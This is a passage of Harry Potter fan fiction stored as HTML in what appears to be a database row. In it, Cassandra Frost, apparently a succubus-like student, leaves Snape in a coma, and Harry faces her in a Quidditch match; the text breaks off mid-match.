style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Excellent\nHermione.&nbsp; Five points to\nGryffindor.&#8221;&nbsp; Lupin addressed the rest\nof the class.&nbsp; &#8220;Succubae and incubi are\namongst the most dangerous of dark creatures that exist.&nbsp; Part of that has to do with the fact that\nthey usually attack sleeping victims.&nbsp;\nEventually, a prolonged attack from a succubus turns fatal.&nbsp; Muggles often have no defense against them\nbut a wizard can easily fight off a succubus if he knows what to do.&nbsp; Now there are two dark creatures that are\ndistinctly related to succubae and incubi.&nbsp;\nDoes anyone know what those two creatures are?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione&#8217;s hand\nsprang up.&nbsp; &#8220;Vampires and dementors,&#8221;\nshe said.&nbsp; Lupin nodded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;That&#8217;s right,\nfive points to Gryffindor.&nbsp; Succubae, vampires,\nand dementors are all dark creatures that live off of the life forces of\nothers.&nbsp; A vampire lives off of blood,\nbut succubae and dementors on the other hand live off of spirit.&nbsp; Therefore, they can both be warded off the\nsame way, with the patronus charm.&nbsp;\nHarry, could you demonstrate one?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry nodded.&nbsp; He thought up of a happy thought, namely the\nday when he first arrived at Hogwarts, and bellowed, <i>&#8220;Expecto Patronum!&#8221;</i>&nbsp; All the students gasped as a silvery stag\nleaped out of Harry&#8217;s wand.&nbsp; It walked\nback and forth through the isles before it bowed and disappeared.&nbsp; Lupin nodded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;The patronus\ncharm is one of the advanced charms you will ever learn in your sixth\nyear.&nbsp; Ordinarily, we learn them later\non in the year when we study dementors, but since we&#8217;re doing succubae right\nnow, I suppose it wouldn&#8217;t hurt to learn it a little early.&#8221;&nbsp; Lupin instructed the students to pull out\ntheir wands.&nbsp; &#8220;Now the key to creating a\npatronus is a happy thought: the more happier the thought, the stronger the patronus.&nbsp; The patronus is essentially a guardian of\npositive energy so strong that dementors and succubae can&#8217;t stand it.&nbsp; Now I want you all to think of the happiest\nthought you have and say &#8216;Expecto Patronum&#8217;.&nbsp;\nHarry you can sit out if you like since you can already use the charm.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">For the remainder\nof the class, the students all tried to produce patronuses.&nbsp; By the end of class, Hermione was the only\nwho could even make an indistinct patronus.&nbsp;\nThe next class they had was potions, so the Gryffindors all charged down\nto the dungeons where they had the class.&nbsp;\nThey all tumbled into the room and quickly scrambled to their seats.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;10 points from\nGryffindor for causing such a racket,&#8221; sneered Snape.&nbsp; The Gryffindors all scowled as Snape started instructing them on\nhow to make a truth serum.&nbsp; Snape was in\na foul mood as he deducted points from Hermione for getting the right answers\nand he gave Neville a detention when he melted his fourth cauldron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">About forty\nminutes into the class, there was a knock on the door.&nbsp; &#8220;Yes?&#8221; said Snape, not looking too pleased\nabout being disturbed.&nbsp; The door opened\nand Cassandra Frost walked in.&nbsp; Harry\ngroaned: Snape did not miss it.&nbsp; &#8220;Five\npoints from Gryffindor, Potter,&#8221; he sneered.&nbsp;\nHe turned back to Cassandra and said, &#8220;What do you want?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Cassandra glared\nat Snape for a second before she said, &#8220;Professor McGonagall requests some\nboomslang skin for our transfiguration class.&#8221;&nbsp;\nSnape nodded and started rummaging around his desk.&nbsp; As he pulled out the required specimens, his\nsinister eyes traveled to Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Potter!&nbsp; Didn&#8217;t I tell you to crush the beetle\neyes?&nbsp; Not smash them!&nbsp; Twenty points from Gryffindor!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Slimy git,&#8221;\nmuttered Harry under his breath.&nbsp;\nUnfortunately for him, Snape heard what Harry said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Detention Potter!&#8221;\nhe shouted.&nbsp; &#8220;And five more points from\nGryffindor!&#8221;&nbsp; He turned to Cassandra and\npassed her the boomslang skin.&nbsp; &#8220;Now if\nyou don&#8217;t mind, I have a class to teach,&#8221; he sneered.&nbsp; Cassandra glared at Snape with a look of utmost loathing.&nbsp; She turned around and stalked out of the\ndungeons.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">That night, Snape\nwas in his dungeons waiting for Harry and Neville to show up for their\ndetentions.&nbsp; He had thought up of a\nparticularly cruel ordeal for his most hated student and he couldn&#8217;t wait to\nspring it on Harry.&nbsp; There was a knock\non the door. Thinking it was Harry and Neville, Snape said, &#8220;Come in,&#8221; and was\nstartled when Cassandra walked into the room.&nbsp;\n&#8220;Frost?&nbsp; What do you want?&#8221; he\nsneered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Cassandra walked\nup to the greasy haired professor.&nbsp;\n&#8220;Professor Snape, I have a question about your potions homework.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Well, go on with\nit,&#8221; sneered Snape not particularly interested in what Cassandra had to\nsay.&nbsp; He was shocked however, when\nCassandra pulled him into a deep kiss!&nbsp;\nBefore Snape could retort angrily, he felt his body weakening.&nbsp; He collapsed to the ground and gasped.&nbsp; &#8220;W&#8230;what?&nbsp;\nH&#8230;how?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;That was for\nbeing so cruel to my Harry,&#8221; hissed Cassandra looking positively livid.&nbsp; She kicked Snape in the gut who promptly\nblacked out.&nbsp; She then stalked away.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I wonder what\npunishment Snape has got in store for us this time,&#8221; said Harry as he and\nNeville walked down together to the dungeons.&nbsp;\n&#8220;He&#8217;ll probably have us cleaning the dungeon floor with a tooth brush.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Neville simply\nshuddered at the thought of Snape&#8217;s punishment and remained quiet.&nbsp; They finally made it to Snape&#8217;s classroom,\nopened the door and gasped.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Snape was lying on\nthe floor in the exact same coma that Malfoy was in.&nbsp; Neville looked like he was about to faint.&nbsp; &#8220;Go to Dumbledore!&nbsp; NOW!&#8221; yelled Harry.&nbsp;\nNeville didn&#8217;t need to be told twice as he dashed toward Dumbeldore&#8217;s\noffice.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry went up to\nSnapes&#8217;s form and said, <i>&#8220;Mobilicorpus.&#8221;</i>&nbsp;\nSnape&#8217;s body rose into the air and Harry led the comatose Snape to the\nhospital wing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">A/N I wanted to\nclarify a few things.&nbsp; Firstly, I&#8217;ve\nnever seen &#8220;Charmed&#8221; before in my life so I wouldn&#8217;t know if a succubus came\nout in that show.&nbsp; Also, while Batman&#8217;s\nnemesis Poison Ivy spreads poison into her enemies&#8217; bodies with a kiss, my\ncharacter Cassandra, sucks the life force out of her victim&#8217;s mouth so below\nthe surface, they&#8217;re different.&nbsp; Anyway,\nplease R/R.&nbsp; Oh, I better warn you know\nthat next chapter will have an ever so slight hint of F/F slash (the horror).</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(128, 4, '\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Disclaimer: The <u>Harry\nPotter</u> series belongs to J.K. Rowling, Warner Bros. Inc., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</p>\n\nChapter\n4: Terror of Ravenclaw\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">With the attack of\nSnape, what was previously just a tense atmosphere became full-scale\npanic.&nbsp; The fear and chaos that ran\nthrough the corridors of Hogwarts was a tension filled sight and no one felt\nsafe, even with Dumbledore.&nbsp; The only\ntime Hogwarts had ever been filled with this much fear was when the Chamber of\nSecrets had been opened in Harry&#8217;s second year.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Still, classes\ncontinued as usual with the exception of potions.&nbsp; It was now common knowledge that the source of these attacks was\na succubus and students were working hard at Defense against the Dark Arts\nclasses, as Dark Arts defense became a very real thing.&nbsp; Lupin had his work cut out for him.&nbsp; On the day before the Gryffindor-Ravenclaw\nQuidditch Match, he was teaching the Gryffindor sixth years.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Now, can anyone\ntell me what a carbon succubus is?&#8221; asked Lupin.&nbsp; Like always, Hermione&#8217;s hand was the first one up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;About twenty\nyears ago, You-know-who was working on a project in an attempt to give a wizard\nor witch the powers of succubae and incubi.&nbsp;\nThe supposed products of these experiments were called carbon succubae.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;That&#8217;s right,\nHermione.&nbsp; Five points to\nGryffindor.&#8221;&nbsp; Lupin stood up and\naddressed the rest.&nbsp; &#8220;It was theorized\nthat a carbon succubus wouldn&#8217;t have the limitations of genuine succubae and\nincubi, namely their inability to affect the physical world.&nbsp; Also, while succubae and incubi can only\nattack members of their opposite sex, a carbon succubus can attack anyone she\nchooses, whether the victim be male or female.&nbsp;\nHowever, no one knows for sure whether the experiments were a\nsuccess.&nbsp; Most likely they failed so you\nwouldn&#8217;t have to worry about a carbon succubus running around.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">After class, Lupin\nasked Harry to stay behind and talk a little.&nbsp;\n&#8220;Harry, I just wanted to say that Sirius has reached Romania.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry slapped his\nforehead.&nbsp; With all the chaos of running\naround he had completely forgotten about his problem of being betrothed to\nCassandra.&nbsp; &#8220;So has he found Cassandra&#8217;s\nmother yet?&#8221; he asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Not yet, but his\nsearch seems promising.&nbsp; From the last I\nheard, he&#8217;s figured out where Mrs. Frost actually lives.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Harry nodded.&nbsp; &#8220;Well OK.&nbsp;\nDo you think you could keep me posted on Sirius&#8217;s progress, professor?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I&#8217;ll do\neverything I can, Harry,&#8221; said Lupin.&nbsp;\n&#8220;Good luck with the Quidditch Match tomorrow.&#8221;&nbsp; Harry grinned and left the classroom.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">With all the fear\nthat was running through Hogwarts those days, the Quidditch match was\nanticipated to be a much-needed relief.&nbsp;\nLike always, Harry was too nervous to eat before the match.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Come on Harry,\nyou need to eat something,&#8221; said Ron as he took a sip of his pumpkin juice.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I&#8217;m not hungry,&#8221;\nmumbled Harry.&nbsp; He stared at the\npotatoes on his plate.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Well don&#8217;t say I\ndidn&#8217;t warn you when you fall off your broomstick because of starvation,&#8221; said\nRon as he stuffed a bread roll into his mouth.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">At around then,\nCho Chang came by the Gryffindor Table.&nbsp;\nHarry had once had a crush on her, but she had ended up breaking Harry&#8217;s\nheart around the beginning of the trio&#8217;s fifth year.&nbsp; Of course, that was the past now, and Harry had his sights on\nsomeone more closer to him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Hi Harry.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Hey Cho.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;I just wanted to\nsay good luck on today&#8217;s match.&nbsp; You\nknow Cassandra&#8217;s one of our chasers.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;What?!&#8221;&nbsp; Harry stood up looking surprised and stared\nat his former crush.&nbsp; Cho was a little\nstartled by Harry&#8217;s outburst but decided to think nothing of it.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;That&#8217;s right,\nshe&#8217;s got a Firebolt.&nbsp; Well anyway, may\nthe best team win.&#8221;&nbsp; With that, Cho made\nher way back to the Ravenclaw table.&nbsp;\nHarry dropped his head on the table and groaned.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;Now she&#8217;s going\nto be flirting me with on our broomsticks,&#8221; groaned Harry.&nbsp; He looked up.&nbsp; &#8220;Well, I&#8217;ve got to go.&nbsp;\nWish me luck.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;OK,&#8221; said Ron as\nhe gobbled up the potatoes on his plate.&nbsp;\nHarry glanced at Hermione right next to him.&nbsp;&nbsp; She had her eyes on her plate and was scraping her potatoes\naround.&nbsp; She looked plain\nmiserable.&nbsp; Harry decided to take a\nrisk.&nbsp; He put an arm around Hermione&#8217;s\nshoulders and kissed her on her forehead.&nbsp;\nThis move startled Hermione and she blushed a little.&nbsp; Harry stood up and left the Great Hall with\nthe rest of the Gryffindor Quidditch team.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione slowly\nfingered her forehead where Harry had kissed her, still blushing.&nbsp; She started gathering her stuff and said,\n&#8220;I&#8217;m going to the library.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&#8220;What?&nbsp; Aren&#8217;t you going to see Harry play?&#8221; asked\nan incredulous Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Hermione stared at\nher red haired friend, a melancholy look in her eyes.&nbsp; &#8220;I don&#8217;t think I could stand watching Harry and Cassandra Frost\non the same pitch,&#8221; she whispered.&nbsp;\n&#8220;Besides, I need to study.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Ron snorted.&nbsp; &#8220;Since when have you needed to study?&nbsp; And like you don&#8217;t spend enough time in the\nlibrary.&#8221;&nbsp; Hermione chose to ignore Ron as\nshe dragged herself toward the library.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">As it turned out,\nCassandra was one of the best Quidditch Players Hogwarts had ever seen.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">As Harry circled\noverhead, he caught sight of Cassandra intercepting the Quaffle in\nmid-pass.&nbsp; She zoomed to the Gryffindor\ngoalposts and threw the Quaffle through the hoops.&nbsp; The score was now 140-20 Ravenclaw.&nbsp; Amongst those 140 points, 110 had been scored by Cassandra.&nbsp; The rest she had assisted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nlayout-grid-mode:char">Cassandra flew up\nto Harry and blew him a kiss.&nbsp; Harry\nshook his head and concentrated on finding the snitch.&nbsp; It was hard to do with Cho Chang trailing\nbehind him like a hawk.&nbsp; In the\nmeantime, Cassandra scored another goal, making the score 150-20.</p>\n\n<p class="MsoNormal" 